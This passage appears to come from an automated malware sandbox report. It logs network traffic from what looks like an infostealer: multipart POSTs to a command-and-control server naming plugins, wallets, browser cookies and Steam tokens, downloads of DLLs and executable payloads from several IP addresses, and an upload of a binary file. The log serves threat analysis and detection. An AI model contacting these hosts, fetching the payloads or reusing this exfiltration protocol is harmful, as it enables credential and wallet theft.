45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 2d 2d 0d 0a Data Ascii: ------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="message"plugins------EGDBFIIECBGDGDGDHCAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDHJDAFHJEBFIDAFHIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 2d 2d 0d 0a Data Ascii: ------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="message"fplugins------GCGDHJDAFHJEBFIDAFHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJJEHCBAKFBFHJKFBKHost: 185.215.113.206Content-Length: 5383Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDAFHDHCBGDGCBGCGIIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 2d 2d 0d 0a Data Ascii: ------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HIDAFHDHCBGDGCBGCGII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 2d 2d 0d 0a Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="file"------AKJDAEGCAFIIDGDGCGIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIEHIIEHIEHJKEBKEHJHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIJEBGDAFHIJJKEHCAAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 2d 2d 0d 0a Data Ascii: ------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="file"------EGIJEBGDAFHIJJKEHCAA--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBAFCBKFIDGCAKKKFCHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJDGDHIDBGIECBGHJDBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------KKJDGDHIDBGIECBGHJDBContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------KKJDGDHIDBGIECBGHJDBContent-Disposition: form-data; name="message"wallets------KKJDGDHIDBGIECBGHJDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJKHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="message"files------CFIEHCFIECBGCBFHIJJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 2d 2d 0d 0a Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="file"------IDHIEBAAKJDHIECAAFHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGDHJDHDAFHJJKJEHCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="message"ybncbhylepme------AKEGDHJDHDAFHJJKJEHC--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEHJKJJJECFHJJJKKECHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 2d 2d 0d 0a Data Ascii: ------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IIEHJKJJJECFHJJJKKEC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/6639161109/vg9qcBa.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 32 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009238001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 32 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009251001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 32 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009252001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 32 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009253001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDBKJKFIECAAAKFBFBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 37 42 44 33 33 35 30 41 46 31 46 31 36 32 32 33 37 39 37 30 33 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 2d 2d 0d 0a Data Ascii: ------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="hwid"17BD3350AF1F1622379703------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="build"mars------FHJDBKJKFIECAAAKFBFB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 32 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009254001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------7gAXDoYAtVUtCGi5bL1HloData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 61 6e 61 64 65 62 61 62 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1c dc 7d 93 31 72 62 b8 b3 ad 04 57 05 7b 62 fb 60 30 c2 41 3a c7 e8 92 0b 6a f8 df 42 35 4e 03 71 e6 5d 3b 83 73 d9 c5 1c 7f b8 df 80 18 4b d9 bb ac 2f bb 42 77 e7 1b 86 e4 fa a8 d5 92 a1 4b 1c 80 b2 7e 42 86 46 e4 16 73 58 c9 05 1e 79 1a a1 c9 95 7d af ad 39 e7 45 6a 03 45 df 3c b4 db 71 ad a3 81 e2 4b 78 90 2b d5 46 f8 fd 48 fb fd ca ef f4 0d 2f 21 1e 9d 8d c9 0a b1 03 e4 1c 10 8d ef a8 f2 e5 6e e3 bf f0 0b fd a2 42 a8 1e 15 97 10 58 46 17 c1 80 8c d9 a5 d6 f4 af 2e 66 30 42 98 ba 2f 42 86 55 0a b9 41 53 76 4b 24 10 47 f7 4c 73 2f 38 51 28 59 2b 7f c6 2c ea 74 c3 c2 32 45 d5 d5 fd 00 be 38 e0 6c 47 82 44 04 4b 64 77 97 cd 66 c2 a7 77 d9 1d 3e dd fa c6 b2 c0 34 10 c7 1a a1 d0 d1 1f 5f 02 f9 4a 3e 93 bd 58 b0 f5 84 dd 87 3b a1 4c 46 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 2d 2d 0d 0a Data Ascii: --------------------------7gAXDoYAtVUtCGi5bL1HloContent-Disposition: form-data; name="file"; filename="Zanadebab.bin"Content-Type: 